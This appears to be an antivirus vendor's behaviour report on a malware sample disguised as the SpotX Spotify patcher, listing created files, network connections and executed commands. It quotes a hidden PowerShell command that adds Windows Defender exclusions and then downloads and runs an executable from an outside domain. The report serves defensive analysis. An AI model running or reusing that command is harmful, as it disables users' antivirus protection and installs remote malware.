Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users;Add-MpPreference -ExclusionPath $env:ProgramFiles;cd C:\Users\Public;Invoke-WebRequest https://jeuxviddeo.com/V1 -OutFile V1.exe;./V...
Modifies file system
Creates the following files
- C:\users\public\setup.exe
- C:\users\public\spotx-main\scripts\installer-lang\fr.ps1
- C:\users\public\spotx-main\scripts\installer-lang\hi.ps1
- C:\users\public\spotx-main\scripts\installer-lang\hu.ps1
- C:\users\public\spotx-main\scripts\installer-lang\id.ps1
- C:\users\public\spotx-main\scripts\installer-lang\it.ps1
- C:\users\public\spotx-main\scripts\installer-lang\ka.ps1
- C:\users\public\spotx-main\scripts\installer-lang\ko.ps1
- C:\users\public\spotx-main\scripts\installer-lang\lv.ps1
- C:\users\public\spotx-main\scripts\installer-lang\pl.ps1
- C:\users\public\spotx-main\scripts\installer-lang\pt.ps1
- C:\users\public\spotx-main\install_new_theme.bat
- C:\users\public\spotx-main\scripts\installer-lang\ro.ps1
- C:\users\public\spotx-main\scripts\installer-lang\sr.ps1
- C:\users\public\spotx-main\scripts\installer-lang\tr.ps1
- C:\users\public\spotx-main\scripts\installer-lang\ua.ps1
- C:\users\public\spotx-main\scripts\installer-lang\vi.ps1
- C:\users\public\spotx-main\scripts\installer-lang\zh-tw.ps1
- C:\users\public\spotx-main\scripts\installer-lang\zh.ps1
- C:\users\public\spotx-main\scripts\install_auto.bat
- C:\users\public\spotx-main\scripts\install_basic.bat
- C:\users\public\spotx-main\scripts\install_prem.bat
- C:\users\public\spotx-main\uninstall.bat
- C:\users\public\spotx-main\scripts\installer-lang\fa.ps1
- C:\users\public\spotx-main\scripts\installer-lang\fi.ps1
- C:\users\public\spotx-main\scripts\installer-lang\es.ps1
- C:\users\public\spotx-main\scripts\installer-lang\en.ps1
- C:\users\public\spotx-main\scripts\installer-lang\el.ps1
- C:\users\public\spotx-main\.github\issue_template\bug_report.yml
- C:\users\public\spotx-main\.github\issue_template\config.yml
- C:\users\public\spotx-main\.github\issue_template\idea.yml
- C:\users\public\spotx-main\.github\issue_template\installer-new-translation.yml
- C:\users\public\spotx-main\.github\issue_template\itranslation-fix.yml
- C:\users\public\spotx-main\.github\pic\logo.png
- C:\users\public\spotx-main\.github\pic\shields\faq.svg
- C:\users\public\spotx-main\.github\pic\shields\spotx_channel.svg
- C:\users\public\spotx-main\.github\pic\shields\spotx_community.svg
- C:\users\public\spotx-main\.github\pic\shields\spotx_for_mac&linux.svg
- C:\users\public\config.bat
- C:\users\public\spotx-main\scripts\installer-lang\ru.ps1
- C:\users\public\spotx-main\install.ps1
- C:\users\public\spotx-main\license
- C:\users\public\spotx-main\patches\augmented translation\ru.json
- C:\users\public\spotx-main\patches\patches.json
- C:\users\public\spotx-main\readme.md
- C:\users\public\spotx-main\scripts\cache\cache_spotify.ps1
- C:\users\public\spotx-main\scripts\cache\cache_spotify_ru.ps1
- C:\users\public\spotx-main\scripts\cache\hide_window.vbs
- C:\users\public\spotx-main\scripts\cache\run_ps.bat
- C:\users\public\spotx-main\scripts\installer-lang\bn.ps1
- C:\users\public\spotx-main\scripts\installer-lang\de.ps1
- C:\users\public\spotx-main\.github\cutt\test-cutt.txt
- C:\users\public\spotx-main\install_old_theme.bat
- nul
Network activity
Connects to
- 'do####ad.scdn.co':443
- 'do####ad.scdn.co':80
TCP
HTTP GET requests
- http://do####ad.scdn.co/SpotifyFullSetup.exe
Other
- 'do####ad.scdn.co':443
UDP
- DNS ASK do####ad.scdn.co
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- 'C:\users\public\setup.exe'
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\Users\Public\config.bat" "
- '%WINDIR%\syswow64\net.exe' session
- '%WINDIR%\syswow64\net1.exe' session
